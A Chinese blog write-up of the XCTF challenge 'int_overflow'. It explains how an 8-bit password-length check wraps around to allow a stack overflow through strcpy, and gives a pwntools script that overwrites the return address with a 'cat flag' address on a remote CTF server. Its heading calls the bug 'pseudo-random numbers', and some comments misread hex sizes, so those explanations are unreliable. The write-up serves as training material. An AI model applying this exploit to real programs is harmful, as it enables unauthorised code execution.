[攻防世界]int_overflow~巨细讲解

目录

解题思路:

查保护:

找逻辑:

考点:伪随机数

脚本编写:


解题思路:

查保护:

还是正常的命令,直接在linux里面用checksec查保护,有什么保护。

查完之后发现,就有一个NX(禁止栈内执行开着),32位的,拖入ida中看看。 

找逻辑:

进入ida找main函数,进入反编译,在linux运行一下,看的是一样输出的,接着往下看你输入了一个v4,之后跟v4进行1对比,是一跳转到login,如果不是,那么输出Bye,之后退出。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("---------------------");                // 输出
  puts("~~ Welcome to CTF! ~~");                // 输出
  puts("       1.Login       ");                // 输出
  puts("       2.Exit        ");                // 输出
  puts("---------------------");                // 输出
  printf("Your choice:");                       // 输出
  __isoc99_scanf("%d", &v4);                    // 获得你输入的值为v4
  if ( v4 == 1 )                                // 如果v4等于1
  {
    login();                                    // 跳转到login函数
  }
  else                                          // 否则
  {
    if ( v4 == 2 )                              // 如果v4等于2
    {
      puts("Bye~");                             // 输出这个字符串
      exit(0);                                  // 输出
    }
    puts("Invalid Choice!");
  }
  return 0;
}

进入login函数里面查看,翻译一下大概的意思。

char *login()
{
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]

  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");          // 输出
  read(0, &s, 0x19u);                           // 从&s读取19个字节
  printf("Hello %s\n", &s);                     // 输出&s
  puts("Please input your passwd:");            // 输出
  read(0, &buf, 0x199u);                        // 读取buf的199个字节
  return check_passwd(&buf);                    // 跳转这个函数,参数是buf
}

之后继续往下一个函数,跳转函数,到达了这里,发改问题发现了。

char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);                               // 获取v3的长度
  if ( v3 <= 3u || v3 > 8u )                    // 如果长度小于等于3或者是大于8
  {
    puts("Invalid Password");                   // 输出这个
    result = (char *)fflush(stdout);            // 缓冲
  }
  else                                          // 否则
  {
    puts("Success");                            // 输出这个
    fflush(stdout);                             // 缓冲

    result = strcpy(&dest, s);                  // 把s复制给dest
  }
  return result;                                // 返回result
}

考点:伪随机数

伪随机,这个用的是整数溢出当程序中的数据超过其数据类型的范围的时候,会出现截断,只要溢出,就会补码-1取反的操作。所以会出现很奇怪的操作,就是可以输入进去更多的数值满足满足255+3<strlen(s)<=255+8即可,开始查看一下位置,其他的伪随机数可以去了解

距离栈顶,有0x14,覆盖一个返回地址在+0x04 ,之后找个返回的地方可以获得权限的,查找字符串之后,有一个cat flag的位置,跳转带那个位置查看地址,到时候跳转位置。

跳转到 text:08048694 即可。

脚本编写:

python的pwntools库。

from pwn import *
p = remote('111.200.241.244',54294)
p.recv()
p.sendline('1')
p.recv()
p.sendline(b'aaaaa')
p.recv()
pl = b'a'*(0x14+0x04) + p32(0x08048694)
pl+=b'a'*(262-len(pl))
p.sendline(pl)
p.interactive()

获得的cyberpeace{9602ec7b43e07904f62325caa1d397eb} 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

逆向萌新

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值